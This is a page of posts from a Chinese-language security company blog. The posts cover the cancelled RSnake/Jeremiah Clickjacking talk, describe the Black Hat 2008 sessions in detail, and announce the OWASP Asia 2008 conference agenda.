阿碼外傳-阿碼科技非官方中文 Blog: rsnake 的搜尋結果
針對查詢「rsnake」依關聯性排序顯示文章。依日期排序 顯示所有文章
針對查詢「rsnake」依關聯性排序顯示文章。依日期排序 顯示所有文章

2008年9月19日

Web 大威脅:Jeremiah 與 RSnake 於 OWASP 美國年會禁講!

阿碼科技今年又派了九位同事參加「2008 OWASP 美國年會」(OWASP AppSec US),今年在紐約舉辦,共有近三十家廠商參展,上千人參加,將超過去年在台灣辦的「2007 OWASP 亞洲年會」,而成為有史以來最大型的 Web 資安專門會議。去年真的很感謝 Jeremiah 應我的邀請,不但在百忙之中來台灣演講,還答應我不能講舊的內容,而在會議上講了最新的題目「商業邏輯錯誤」(他的台灣行日記一日記二),並發表了他最新的 whitepaper。我在我的「Black Hat 2008 觀察」中有說,其實他這次美國駭客年會 Black Hat 2008 的演講,大部分的內容是跟他來台灣講的那場一樣的。

在會上的最近真的是忙翻了,但是行前還是瞄了一下這些朋友的 blog,突然發現本來很期待 Jeremiah (blog)跟 RSnake (ha.ckers.orgsla.ckers.org)共同的演講「Clickjacking」,結果竟然被Adobe 要求不要講!不會吧!這是我們大家最想聽的演講之一,怎麼會這樣?英國最大 IT 媒體The Register 也以「Adobe 禁止 Clickjacking 弱點的公開」大幅報導此事。Jeremiah 與 RSnake 合著有「XSS Exploits: Cross Site Scripting Attacks and Defense」,是探討 OWASP Top 10 中排名第一的跨網站腳本攻擊(XSS,cross-site scripting),兩人都是多屆 Black Hat / DEFCON 講師,去年兩人也是 2007 OWASP 美國年會講師,今年兩人合講的這個題目,我想不只阿碼科技,應該非常多人有興趣,結果竟然不講了!由今年 OWASP 美國年會 的網頁,點「Clickjacking」,竟然連到 Adobe 的 blog,上面說明,由於這次將公開的弱點影響層面太大,並且包含 Adobe 的產品,兩位講師決定先不講,等到諸多廠商的漏洞先修復後再說。

天哪,立刻打 RSnake 手機,他確認,真的是不講了,RSnake 我們可是買了九張機票ㄝ。RSnake 在 blog 上有做說明,他說,原本他們覺得是一場很好的演講,但是因為漏洞像滾雪球一樣,一個漏洞導致另一個漏洞,牽涉到一個接一個廠商,導致整個弱點的嚴重性不只是嚴重,而是超級嚴重所以兩個講師決定必須等所有牽涉其中的廠商都把漏洞修改完,才適合做揭露。RSnake 這次在 Black HatDEFCON 都是講師,我兩場都有去,但是他都沒有提,我們想沒關係,等到 OWASP 吧!結果真是沒想到...

RSnake 在他的 blog ha.ckers.org提到,這次找到的漏洞很嚴重,但修起來並不容易,是導致演講取消的主要原因。RSnake 說,只有兩種解法,第一種,地球上所有的網站都需要修改漏洞,但是不可能;第二種則是靠修改瀏覽器來彌補,但是各大瀏覽器都需要修改。RSnake 在 blog 上說,「我們已經跟微軟與 Mozilla 都談過了,他們也都各自回應,兩邊都認為這個問題很難解,一時之間並沒有好的解法」。

RSnake 並強調,這跟進今年 Black HatDEFCON 上,MIT 學生被法院禁止講地鐵卡的事件,或 2005 年 Black Hat 上,Michael Lynn 要講 Cisco 漏洞結果被法院封口等事件不一樣,這次是他與 Jeremiah 自己決定不講的,並沒有遭誰封口。RSnake 說,對於想聽演講而落空的與會者,他很抱歉,希望漏洞趕快修補完畢,他能給演講彌補大家。

Jeremiah 則在他的 blog 上提到,Clickjacking 基本上就是,一個惡意的網站掛馬 javascript,可以誘導使用者按下一個隱藏的連結。這種攻擊並非新聞,但是之前大家太低估這種攻擊的嚴重性了。他們這次的研究主要就是示範其嚴重性,其中牽涉了一個 Adobe 的漏洞。但是 Adobe 認為此漏洞屬於最高嚴重性,因此希望他們能暫緩演講,讓 Adobe 與其他廠商能有足夠的時間修補漏洞。

兩人的 blog 上最後一段都一樣:「這不是一個簡單的決定,但他們認為現在不講是最好的選擇;至於如果大家擔心在這段期間遭受攻擊,可以停用瀏覽器的 javascript 以及外掛功能。」

目前網站掛馬真的很嚴重,他們找出了這樣的漏洞其實我並不意外,也覺得他們沒有講是對的。我在 DEFCON 2008 第一天觀察一文中提了一些關於負責的弱點揭露的看法,我認為負責的弱點揭露,一定要先通知對方,對方如果有誠意修改,那麼即使要求弱點揭露延期,負責的資安研究員也應該要接受。就像這次 DEFCON 2008 會議上,Jon 對於 Medeco 的弱點揭露,也是延了兩個月,讓對方有時間修補。如果已經通知了但是對方沒有誠意修改,當然另當別論。依我的觀察,大部分負責的,或有名的資安研究員,一般都會採此方法,以先通知廠商為主。

希望這次 RSnake 與 Jeremiah 研究的漏洞,能夠早日獲得 Adobe 以及各大瀏覽器的修補,我們也能早些得知他們的研究內容。到底是什麼呢?有沒有人要猜猜看?

作者 Wayne 為 阿碼科技 CEO

繼續閱讀全文...

2008年8月12日

美國駭客年會 Black Hat 2008 觀察--第一天

(這篇是一個很詳細的觀察,針對我在美國駭客年會 Black Hat 有去到的場次。對於整個 Black Hat 今年的趨勢觀察,我會另外寫一篇。)

1. Ian Angell: Complexity in Computer Security--A Risky Business
2. Jared DeMott: AppSec A-Z
3. Billy Rios & Nitesh Dhanjani: Bad Sushi: Beating Phishers at Their Own Game
4. Fyodor Vaskovich: 大規模 NMAP 掃瞄(Nmap: Scanning the Internet)
5. Dan Kaminsky: DNS 有史以來最大漏洞
6. Petko D. Petkov(PDP): 瀏覽器安全(Client-side Security)
7. Rober (RSnake) Hansen: Xploiting Google Gadgets: Gmalware and Beyond
8.
9.
綿羊牆!

會場就在我住的旅館的對面,但是還是很早起床,因為每天都很忙,除了聽一些 talk 還有很多人要碰。今天天氣很好,有太陽時才發現我房間看出去的view還不錯:



到了會場,今年一樣布置得很漂亮:





註冊之後,我先去找負責媒體的 Dirk 跟 Nico。不是要拿免費的 pass,我已經付全額了,但是我要拍照,需要先跟他們 check 過,確定今年大會的規則。尤其是之後的 DEFCON,需要更加小心。結果很順利,規則都沒變,大會還給了我一個 press 的名牌,讓我可以大方的拍照... great!感謝你們,Dirk and Nico!

Black Hat 今年第12年,人非常的多,而且聽眾的技術都有一定的水準,年齡層與產業皆涵蓋得很廣,今年一共有8個track一起舉行,分別是:Root Kits、0-day、App Sec(應用程式安全)、Bots & Malware(惡意程式)、Deep Knowledge、The Network (網路安全)、Over the Air(無線網路安全)以及 Reverse Engineering (逆向工程)。



一去就忙著跟一大堆人打招呼,看來所有認識的廠商都到了,明年阿碼科技也應該要展,但是我們一年真的展太多了。還好我早到,跟所有人打完招呼就差點錯過了開場跟 keynote。

大會照往例,由大會主席 Jeff 開場。看起來還是這麼年輕,而且開場簡潔,很好!



1. Ian Angell: Complexity in Computer Security--A Risky Business投影片下載

第一天的 keynote 由 London School of Economics (LSE)的 Ian Angel(個人網站大會介紹)教授開場,題目是「Complexity in Computer Security--A Risky Business」(投影片在這裡),沒有特別講什麼新的,但是把當前資安的挑戰用很好笑的方式講得很清楚:



他的看法是,目前資安沒有解決方案,只有事件發生的可能與造成的影響(there are no solutions, only contingencies),所以我們就是,盡人事聽天命,然後保持愉快的心情(Start the day with a smile and get it over with)。您覺得呢?

這裡是他在會場接受的專訪:



2. Jared DemMott: AppSec A-Z

聽完 keynote 我們前往 Jared DeMott(個人網站大會介紹)的逆向工程 talk,題目是:「AppSec A-Z」。Jared 是 「Fuzzing for Software Security Testing and Quality Assurance」一書的作者之一,並創辦了 VDA Labs。Jared 寫了幾個免費的工具,包含 Win32 DLL injection 用的 pyfault,以及三個 fuzzing 用的工具 EFS/GPFcmdline、以及ikefuzz。Jared 也是2007年l@stplace二次拿下 DEFCON CTF 冠軍時的一員。

我是覺得,雖然題目是逆向工程,其實整個演講就是之前五月他講的「Onion, not parfait: Today's security check-up and malware for the rest of us」的衍伸,這些新的逆向技巧主要針對目前 Web 上的各種惡意程式之分析所用。看來 Web 成為散播 malware 主要管道後,由於這些 malware 加殼的方式都很特別,逼出了很多這樣的研究。

介紹的技巧先不說,因為我要寫這麼多天的觀察,沒辦法談細節,但是我覺得 Jared 一開始的介紹很有系統性,把惡意程式的分析分成動態與靜態兩種,然後循序漸進分門別類的介紹。我覺得這是講師該有的責任-如何講一場讓大家都聽得懂得演講,而不是自己講爽的就好,而別人只感覺「似乎很屌」但是實際上卻聽不懂。就技術而言,這次聽來聽去我都覺得這些講師用的技巧沒有Birdman 在 HackAlert 中用的技巧好,Birdman 的技巧都是快、準、狠,簡單又一針見血,可能是長期被對岸訓練出來的緣故吧!



3. Billy Rios & Nitesh Dhanjani: Bad Sushi: Beating Phishers at Their Own Game投影片下載

聽到一半自己看完投影片的 PDF 檔,覺得差不多了,閃人,看看還有誰可以聽的,同時間的還有 Billy Rios 跟 Nitesh Dhanjani(個人網站大會介紹,作者:Network Security Tools (O'Reilly)HackNotes :Linux and Unix Security (McGraw-Hill))的演講,但是他們的演講我最近在其他的會中都聽過了,所以跳過,來看看 NMAP 的 Fyodor Vaskovich (個人網站大會介紹)好了!

4. Fyodor Vaskovich: 大規模 NMAP 掃瞄(Nmap: Scanning the Internet)投影片下載

NMAP Fyodor Vaskovich (個人網站大會介紹)的講場擠到連站的位子都沒有。Fyodor 這次講的是 internet scanning,也就是大規模透過 internet 的網路層掃瞄。我記得 web 的威脅還沒有起來時,講到 internet security 或 web security,一定會提到 NMAP,NMAP 似乎也是每個駭客(還有網管)必學的第一套工具,也是電影裡的常客。我想很多人選這場也是為了親自見 Fyodor 一面吧?



Fyodor 開場時說的話讓我印象深刻:「Internet scanning 非常難,還有許多的挑戰,但我想這也許是好的,至少這讓我站在台上給演講,不然我看我得去學那個叫什麼 "XSS" 的鬼東東了!」

Fyodor 說這次 Internet scanning 的計畫,最困擾他的是,常常 ISP 會把他的家的網路停掉:

ISP:「先生,我們把你的網路停掉了,因為根據你的流量分析,你中了木馬,你的木馬正在做很多不法的事情,你已經成為僵屍網路(botnet)的一員了!」

Fyodor:「把我的我網路還給我,那些流量都是我刻意產生的,我有目的的...」

ISP:「可是這些流量是違法的!」

Fyodor:「我是 NMAP 的作者,我在研究並發展更強大的版本...」

ISP:「喔,你就是 "那個" Fyodor?請受小弟一拜...NMAP 會有新版?太帥了,您辛苦了!」

根據這次 Fyodor 大規模掃瞄計畫的結果,port 80 仍然是最常見的開放 port,其他依序是:80 (http), 25 (smtp), 22 (ssh), 443 (https), 21 (ftp), 113 (auth), 23 (telnet), 53 (domain), 554 (rtsp), 3389 (ms-term-server)。

Fyodor 講了很多加速 NMAP 的技巧以,例如 stateful firewalls 適合用 SYN 來 scan,而 stateless firewalls 適合用 ACK 來 scan等等,也介紹了 NMAP 的新功能,例如可以設定最大與最小流量,scripting engine,還有會畫 network map 的新圖形介面 Zenmap,以及可以比對兩次掃瞄差別的 Ndiff 等。

Fyodor 的投影片可以到這裡下載。

5. Dan Kaminsky: DNS 有史以來最大漏洞(Black Ops 2008 -- Its The End Of The Cache As We Know It)整個演講的錄影)(整個演講的 mp3

接下來決定去 Dan kaminsky(個人網站大會介紹)的演講「Black Ops 2008 -- Its The End Of The Cache As We Know It」,因為這次他公開的 DNS 弱點太紅了,預計會大爆滿。

這個 DNS cache poisoning 的弱點 Dan 在七月初就已經公開:

資安之眼, US CERT TA08-190B / VU#800113, CVE-2008-1447

其實自從 Dan 七月初公開此 DNS 弱點到現在,一方面由於資訊不足(一方面要留到 Black Hat 才公布,一方面也讓廠商有足夠時間初修補程式),造成很多聲音說此漏洞早就有很多研究員發現了,但是另一方面,卻也很快被其他人猜出整個漏洞的細節,而後很快地就有人寫出了攻擊程式(例如:MILW0RM:6122MILW0RM:6123MILW0RM:6130)。Dan 則在七月24日 Black Hat 的會前會上公布了漏洞的細節。在這裡註冊後可以看到當時的錄影。

來到 Dan 的演講,果然感受到美國這些大型會議的特色:好的講師,大家擠到連站的位子都沒有;壞的講師,一開講五分鐘之後,你會發現大家一窩峰往外衝,底下右邊是某講師的演講,左邊是 Dan 的:



先不論這個演講能聽到些什麼(細節之前都公布了),但是 Dan 的確是一個很好的演講者,他的演講生動有趣,我是從頭笑到尾。很多人說都沒聽到新的東西,也很多人說,Dan 不需要解釋這麼多 DNS 漏洞的影響,因為 man-in-the-middle 後什麼安全當然都別談了,但是我是覺得,講這些就忘了:好笑,有趣,一直是這個會議的精神之一。不論 Dan 發現的漏洞是否其實簡單,其實很多人有提到過了,他的演講非常生動,絕對讓大家對此漏洞以及整個 DNS 架構的不安全性印象深刻,以及他一個人真的推動了所有廠商對此漏洞的重視並出修補程式,這些我覺得都是我很欣賞他的原因。



看看右圖,Dan 講得手足舞蹈的,左圖,Dan 的演講真是老少咸宜,大家都來看他的風采 :)

這個漏洞的特色之一,是影響了大多數的廠商。Dan 公布後,主要的 DNS 上修補程式的速度多快呢?下面有 video,也可以按這裡下載 avi 檔



這裡有對於此 DNS 漏洞的詳細圖解。

以下是 Dan 在會議中接受的訪問:



6. Petko D. Petkov(PDP):瀏覽器安全(Client-side Security)投影片下載)(whitepaper 下載)(程式下載

聽完了 Dan 的,接下來去找 PDP(Petko D. Petkov)(個人網站大會介紹),題目是:「Client-side Security」。PDP 講的就跟我們做得有關了,所以雖然今年他在很多地方講的我都聽過了,但是還是來捧場啦!PDP 本來就很多 fans,去年公開 Gmail 的 CSRF 漏洞示範給 ZDNet 確認後(資安之眼),其研究更受到大家的注意。



PDP 的這個演講跟他之前的演講差不多,講了很多瀏覽器的外掛(plugins)產生的漏洞,其中包含了Adobe PDF(PDP資安之眼),Apple Quicktime(PDP資安之眼),SecondLife(PDP),Flash UPnP(PDP-1PDP-2資安之眼),Skype(PDP資安之眼-1資安之眼-2)等。

最後 PDP 提到了第四代 rootkit 的觀念,認為以後 rootkit 會存在於瀏覽器上。我自己則是認為,瀏覽器的外掛安全問題,還會存在好一陣子,加上在瀏覽器上執行的惡意程式,基本上都是以 script 的形式存在,而非執行檔,而 script 的變形非常方便以及容易(我之後會介紹一場 DEFCON 有趣的演講),這樣的情況會徹底擊敗以樣本(signatures / patterns)為基礎的防禦技術,如多數的防毒軟體。

PDP 這次演講的投影片可以在這裡下載

7. Rober "RSnake" Hansen: Xploiting Google Gadgets: Gmalware and Beyond程式下載

聽完 PDP,去看好朋友 RSnake (ha.ckerssla.ckersSecTheory大會介紹)的演講。



看到 RSnake 讓我想到這次 Kuon 沒有來有點可惜。他只要有碰到這些講師都會有問不完的問題...

(上:Kuon 於 OWASP-WASC US 2007)

RSnake 這次花了很多時間講他跟 Google 之間不是那麼順利的互動。我想,弱點揭露(vulnerability disclosure 一直是資安研究人員最困擾的議題之一,聽 RSnake 在台上講,我想到我自己很多不是很愉快的經驗。我們做源碼檢測,手上有很多美國大廠的 0-day。如果已經是我們的客戶,那溝通方式很簡單,但是如果還不是我們的客戶,有時候就複雜了。通常對方第一個動作就是傳一份保密合約(NDA)過來讓我們簽,而這些保密合約,我給我們公司律師檢閱後,從來沒有一次是律師跟我說可以簽的。基本上簽了之後,我們喪失任何在公開場合討論此漏洞的權力(即使在修改了之後),對方也不會有任何承諾何時會修正或公開時會不會提及是我們發現的。每次這種會議不論是台上的講師或台下的私人聚會,弱點揭露永遠是熱門的話題。這次 DEFCON,MIT 學生被法院禁止講捷運 RFID 卡的破解方式,RSnake 還有很多其他講師也在演講中對弱點揭露提出看法,我也有很多自己的經驗,所以我會另外寫一篇探討。

基本上,RSnake 發現 gmodules.com 這個網域有 XSS 漏洞,但是 Google 卻覺得此非 google.com 網域,即使有 XSS 漏洞,駭客也不會因此而能偷到 google.com 的 cookie,所以沒有修復的必要。

呵呵,問題是,XSS 漏洞不只是可以偷 cookie 而已,也可以用來 phishing或掛馬。gmodules.com 這個網域有 XSS,如果這不重要的話,那我想 gmail.com 是否一樣呢?如果攻擊者像是利用 SEO Posioning 那樣的利用 GModules.com XSS 來掛馬,那麼 Google 會怎麼看待這樣的問題?

這讓我想到去 Black Hat / DEFCON 之前,我受邀到國防部為三軍的資安人員講一場演講,同時受邀的有叡揚資訊的某先生。這位先生一開場就介紹資安之眼的「TW 網站淪陷資料庫」:各位如果有 XSS 的話,會被登入在這個資料庫中喔!千萬別讓自己的網站上了這個資料庫... 這位先生,您不知道貴公司也已經上了這個資料庫嗎?隨後這位先生大力建議,網站不要被攻的方法,就是盡量裡頭不要擺東西,駭客攻進來發現沒有東西可以拿,也沒有資料庫,就不會對你的網站有興趣了...這位先生,您沒有聽過什麼叫 botnet (僵屍網路)嗎?駭客攻機器只是為了拿資料,我還第一次聽到...那天我在台下真的是聽不下去了!

回到主題,RSnake 這個 talk 我很喜歡,因為我最近開發阿碼外傳,選擇用 Blogger,也發現很多這樣子的問題。Blogger 之前非 google,上面推薦了擺在很多第三方的 widget,這些 widget 目前仍大量被使用。Blogger 被 Google 買了之後,大家相信 Google 也因此相信 Blogger,但是這些擺在第三方的 script 安全嗎?

接下來 RSnake 就介紹了他做的許多可以擺在 gmodules.com 下的惡意的 Google gadget,包含會掃瞄網路的,會偷資料的...等等。這部分技術上沒什麼難度主要是,但是聽起來蠻有趣的 :)

最後,RSnake 介紹了gmodules.com 的proxy cache 弱點,可以在上面放惡意程式,而這種惡意程式,他取名做 「GMalware」。

8. Paul Royal: Alternative Medicine: The Malware Analyst's Blue Pill投影片下載)(whitepaper下載)(程式下載

最後一場,我跳過了美國機敏單位與駭客大拜拜的「Meet the Feds」,因為反正DEFCON也有,而去了Paul Royal 的演講:「Alternative Medicine: The Malware Analyst's Blue Pill」。Paul Royal 是 Georgia Tech Dr. Wenke Lee 的學生,主攻 binary 分析,目前是 Damballa 的首席研究員。



Paul Royal 在他演講的簡介裡,把現在惡意程式設計與偵測的挑戰講得很清楚:對於動態偵測,惡意程式有各種方法偵測 sandbox,對於靜態偵測,惡意程式有各種不同加殼技術,所以惡意程式設計與偵測,就是一場永無止境的賽跑。Paul 介紹如何利用中央處理器對虛擬化(virtualization)的硬體支援(例如 Intel 的 VT),以建構出一個 KVM 式的 sandbox,使得惡意程式無法偵測出,其已經被置入 sandbox 執行,並正在被分析。Royal 有當場解釋 source code,並秀出此研究的雛形(prototype):Azure,與之前其他研究的雛形:RenovoSaffron

Paul 用了 15 套加殼程式來比較這三個技術的差別:Armadillo, Aspack, Asprotect, FSG, MEW, Molebox, Morphine, Obsidium, PECompact, Themida, Themida VM, UPX, UPX S, WinUPack, Yoda’s Prot,其中 Azure 偵測到所有的惡意程式,而 Renovo 只偵測到 13 隻,Saffron 只偵測到 10 隻。我想叫 Birdman 跑一下我們的 Archon Analyzer (HackAlert的引擎)比比看... 順便跑一下趨勢跟賽門好了,呵呵!

9. 綿羊牆

最後,我發現今年 Black Hat 也有綿羊牆了!綿羊牆(wall of sheep)(CNET 報導:中文英文)一直是 DEFCON 有趣的特色之一,而今年也來到了 Black Hat。綿羊牆團隊約有十位核心成員,他們全天候監控大會的網路封包,抓到與會者的機密資料,如帳號密碼或信用卡號碼等,就貼到綿羊牆上去恭喜他 :)


(我來不及問綿羊牆可不可以照,上面這張不是我照的,是 wired 的 blog 上的

綿羊牆團隊不使用任何解密工具,所以牆上的綿羊都是自己使用了明碼的通訊(沒有加密的 FTP、POP、SMTP...)而光榮上榜的。CNET 這次有訪問綿羊牆的團隊:





有趣的是,今年在 Black Hat 有三位法國的記者(我有媒體牌所以我在媒體室有碰到他們),沒有先告知大會工作人員,就自行 sniff 媒體室裡的有線網路封包,抓到其他媒體記者的帳號密碼後,通知綿羊牆的工作人員,將這些「媒體綿羊」希望加入榜單。老兄... 你沒聽說 Black Hat 這些工作人員的風格嗎?這是他們的會,怎麼會讓你們來撒野?

主要是,美國聯邦法律規定,被監聽者需要知道自己被監聽,而 Black Hat 大家都知道無線網路是被監聽,被掃瞄,充滿 0day 攻擊的。可是記者室裡的網路,大會是宣稱安全的,因為許多記者不是技術出身,不能要求他們懂得如何設定安全的連線(這樣喔?)...

整個報導在這裡(照片也是這裡來的)。最後這三位記者被大會驅逐,並且也被禁止參加 DEFCON 以及未來所有的 Black Hat / DEFCON。

tgdaily 的記者 Humphrey Cheung 有趁亂拍下了這三位記者當時秀的畫面,除了 eWeek 之外,CNET 也在榜上 :)



(這張是 Humphrey 照的,故事在這裡,另外 CNET 也有兩篇報導:CNET 報導-1、CNET 報導-2

對了,這裡有被偷帳號密碼的 eWeek 記者 Brian Prince 的自白:eWeek 在 Black Hat 如何被駭的(How eWEEK Got Hacked at Black Hat)

疑似也被偷了帳號的 CNET 記者 Elinor Mills 女士也寫了一篇可愛的自白:「與我同桌的記者鎖定要駭我(Targeted for hacking by reporters at my table)」。報導中她說:「我報導了各資安會議十四年了,覺得很幸運一直沒有被駭,一直到這星期四...事情是這樣的...」「McAfee 的資深 VP 對我說:在這行夠久的人,一定都在某個時間有被駭過,這讓我好過一些,但是我無法抹去被侵犯(violate)的感覺,就好像一陣風把我的裙子吹了起來,讓我的內在暴露給一群陌生人看到一樣,也許這是在這行必須接受的風險,但是從現在開始我都會穿保險褲的(overalls)。」

我對這件事有很深的看法,我會再寫 blog。基本上,就像鎖匠一樣,駭客最重要的是紀律。我們會開鎖,不代表我們可以去嚇別人;駭客的功夫我都很尊敬,但是行為不約束的我只有不屑。這些改天再寫吧!

另外讓我想到,這次北京奧運,這麼多記者在北京...大概都完了吧 :)

我看會來後大家最好換一下帳號吧...應該說最好換一台電腦吧,用什麼掃毒軟體確定?阿碼科技的 Archon 嗎?不用了啦!應該都中了,直接 format 吧!不過現在很多都會跑到 bios 裡面去,我看換一台比較快啦!

大會結束後我去了一個私底下約的聚會,內容就不能公開啦!只能說現在 rootkit 都已經軍規化了,真恐怖!

(繼續閱讀::美國駭客年會 Black Hat 2008 觀察--第二天
(繼續閱讀::駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?

作者 Wayne 為阿碼科技 CEO

繼續閱讀全文...

2008年10月4日

2008 OWASP 亞洲年會 議程公布,共兩天!

(轉貼自http://owasp.org.tw/blog,請大家幫忙告訴大家,請盡量幫忙轉貼,感謝!)
首先感謝大家對於去年的「第一屆 OWASP 亞洲官方年會」的支持,讓我們全場 650 個位子座無虛席!


2008 OWASP 亞洲年會今年議程終於出爐了,由一天改成兩天(10/27~28),先簡單公布如下:


( 2008/10/27 ) - Day 1 第一天
Time
Topic
Speaker
09:15~09:30
主席致詞:今年大會內容簡介Wayne 黃耀文
OWASP 台灣分會主席
09:30~09:45
資策會長官致詞
TBD
09:45~10:00
中華軟體協會資安促進會長官致詞陳振楠 會長
10:00~11:00
我在 Foundstone 的日子:Web 威脅與防禦實例
YM Chen 陳彥銘
McAfee Foundstone
11:10~12:00
網站掛馬研究:Web 惡意程式寫法與偵測技術大公開
Wayne 黃耀文
Jeremy 邱銘彰
阿碼科技
12:00~13:00
午餐休息,請多彼此認識並與講師互動!
13:00~13:50
修改密碼無效!駭客還是在收取您的電子郵件!林佳明
14:00~14:50
網路犯罪研究與五千萬筆個資外洩事件調查建議叢培侃 PK
余俊賢 Jack
14:50~15:10
Coffee Break 中場點心休息,請多彼此認識並與講師互動!
15:10~16:00
網站被駭的真實故事集(英文)
Real Stories of Website 0wnage
Fyodor
Guard-Info
16:10~16:40
Web proxy 造成的資安威脅:以近日 Google Docs 0-day 為例(英文)
Proxy Caches and Web Application Security--using the recent Google Docs 0-day as an example
Tim Bass
OWASP 泰國分會主席
16:40~17:10
Web 滲透測試與風險評估(英文)Dhruv Soi
OWASP 印度年會主席
OWASP 印度分會主席





( 2008/10/28 ) - Day 2 第二天 (全天英文)
Time
Topic
Speaker
09:30~09:45
長官致詞
TBD
09:45~10:00
長官致詞TBD
10:00~11:00
Web 0day 大威脅:Clickjacking(九月OWASP美國年會禁講)(全球首播)
New 0-Day Browser Exploits: Clickjacking - yea, this is bad...
Robert "RSnake" Hansen
SecTheory
11:10~12:00
Web 2.0時代各種資安技術比較與市場分析(今年 OWASP 美國年會演講)
Web 2.0, Consumerization, and Application Security
Chenxi Wang, Ph.D.
Forrester Research
12:00~13:00
Lunch Break 午餐休息,請多彼此認識並與講師互動!
13:00~13:50
如何做好商業滲透測試(今年 OWASP 印度年會演講)
Good Business Penetration Testing
KK Mookhey
OWASP 孟買分會
NII
14:00~14:50
Web 防火牆(WAF)最佳實務指引(今年 OWASP 美國年會與歐洲年會演講)
Best Practices Guide: Web Application Firewalls
Alexander Meisel
OWASP 德國分會
art of defence
14:50~15:10
Coffee Break 中場點心休息,請多彼此認識並與講師互動!
15:10~16:00
Web 上之僵屍網路與 DDoS 研究(今年 OWASP 美國年會演講)
The HTTP Botnet Research: Focusing on HTTP based DDoS Botnets
Steven Adair
ShadowServer Foundation
16:10~17:00
論壇:黑箱、白箱、還是 WAF 防火牆?工具好還是顧問好?
Chenxi、Robert、YM、Fyodor、KK、Dhruv、Alex、Tim Bass
主席:Wayne
★ 主辦單位保留變更活動內容及相關事項之權利。
大會場地與交通資訊
跟去年一樣,本次大會於舒適寬敞之劇院型階梯演講聽--「台大醫院國際會議中心201室」舉辦,地址為:100台北市中正區徐州路2號。交通資訊請見:http://www.thcc.net.tw/othstraffic.html


今在籌辦第二屆 OWASP 官方亞洲年會時,心中感觸特別多。OWASP 亞洲年會,都是由我們向贊助單位籌資金,然後想辦法邀到好的講師來演講。亞洲距離歐美很遠,飛來一趟要花很多時間,使得整個活動的籌辦,不但籌資金困難,邀頂尖的講師更是難上加難。同時,我們希望今年能夠達到:

1. 對於最新的 Web 攻擊手法,有深入的技術性探討,讓使用者也讓廠商能了解新的攻擊趨勢。
2. 對於防守的策略,能找到在技術上有深度,並且不帶廠商色彩的講師,對於各方面的技術,如滲透測試、黑箱或 WAF 等,都能涵蓋。
3. 站在廠商的角度,對於整個資安產業的趨勢,站在使用者的角度,對於各種技術的比較,能有具公信力的資深產業分析師來探討。
4. 對於透過 Web 的網路犯罪,能有資深的檢調單位代表來分享經驗。
5. 講師方面,希望仍有一半是外籍講師,並希望盡量是在 OWASP 其他年會演講過之講師,因為 OWASP 亞洲年會在建立的初期,需要他們來帶入 OWASP 應有的文化。

要達到以上五點,真的非常不容易,也感謝全體工作人員的努力。今年,第二屆OWASP官方亞洲年會「OWASP AppSec Asia 2008」日期與講師已經確定,會有專業同步翻譯(口譯),會有 T-shirt,也會對政府單位發正式的公文,但是由於時間緊迫,先跟各位告知。我們很感謝資策會中華民國資訊軟體協會能贊助我們,也感謝資安人雜誌能當我們的協辦媒體,讓活動能成行。大會目前還缺贊助單位,如有興趣可與我聯絡,另外只有 650 個位子,報名從速,我們這麼辛苦的準備,希望在會場能見到您!這只是一個初步的快速通知,之後會有正式的網頁,請各位隨時留意 OWASP 台灣分會官網 以及訂閱 OWASP 台灣分會部落格今年的外籍講師共有九位(美國四位,歐洲一位,印度兩位,泰國一位,俄國一位),其中為剛結束的 2008 OWASP 美國年會 的講師有四位,2008 OWASP 歐洲年會講師有兩位,2008 OWASP 印度年會講師有一位,有幾位同時為美國駭客年會 Black Hat / DEFCON 講師,其中也包括了 OWASP印度分會主席,OWASP孟買分會代表,OWASP德國分會代表,OWASP泰國分會主席。

今年的重頭戲,當然是 Robert 在今年 2008 OWASP 美國年會的演講被禁講(ITHome 報導阿碼報導)的演講,會在台北做全球首度的公開演說。英國最大 IT 媒體The Register 以「Adobe 禁止 Clickjacking 弱點的公開」大幅報導此事,RSnake 則說,原本他們覺得是一場很好的演講,但是因為漏洞像滾雪球一樣,一個漏洞導致另一個漏洞,牽涉到一個接一個廠商,導致整個弱點的嚴重性不只是嚴重,而是超級嚴重所以兩個講師決定必須等所有牽涉其中的廠商都有一定的時間反映後,才適合做揭露。我覺得這一場的重點並不光在於他要探討的 0-day 漏洞,而更在於大家對於目前 Web 的基本運作原理,以攻擊手法的了解。這些知識如果基礎打穩,在檢視自己或客戶的網站安全時,便能很容易的運用有限的時間,找到重點問題,並予以修復。駭客找漏洞,其實有很規則的思路可尋,了解這種思路後,我們一樣能一眼看出漏洞所在。

在其他種威脅方面,來自亞洲區的研究,OWASP 泰國分會主席 Tim Bass 將會講一場「Web proxy 造成的資安威脅:以近日Google Docs 0-day 為例」,台灣方面林佳明將講一場:「修改密碼無效!駭客還是在收取您的電子郵件!」

資安挑戰的整體敘述,將由 Forrester 的首席分析師 Chenxi Wang 博士來擔綱。Chenxi 曾在卡內基美隆大學(Carnegie Mellon University)擔任助理教授,為當初幫助CMU成立著名資安實驗室 CyLAB 之關鍵人物之一。目前 Forrester 出版的跟 Web 資安相關市場調查報告,都是出自她的研究。Chenxi 並會探討黑箱、白箱、WAF在技術上以及在資安投資報酬率上的差別。Chenxi 寫的幾篇對於黑箱、白箱與 WAF 的產業報告,是目前全球業界引用的重點。至少在 WAF 的市場規模方面,我只記得他的報告有確切的數字,Gartner 與 IDC 似乎都沒有,所以至少我自己參考以及我碰到的諸多廠商與投資人參考的,都是她的那篇。如果您是資安市場分析師或投資人,那您一定要撥空來!如果您是資安廠商而希望能對她公布的資料、數據與論點有意見,也歡迎前來與她當面交換!

滲透測試手法方面,有 RSnake、KK、Dhruv、YM 以及 Fyodor 五位講師,其中 KK 與 Dhruv 來自印度,KK是印度最有名的滲透測試公司 NII Consulting 的創辦人兼總經理,曾經擔任 Black Hat、Interop、IT Underground 等研討會講師,並為 Google、聯合國等大型客戶執行滲透測試專案。滲透測試的發展已經由技術導向轉變為商業導向,在預算緊縮的今天,如何有效運用時間,以最低的成本,找到最重要的漏洞?這就需要以客戶在商業營運上的風險面向為基礎,來建立相對應的滲透測試項目,例如現今企業面對的商業間諜(corporate espionage)、金融詐騙(financial fraud)等威脅嚴重,因此就需要有對應的滲透測試情境,如社交工程攻擊(social engineering)、實體安全演練等,才能提供更有價值的商業導向滲透測試服務。

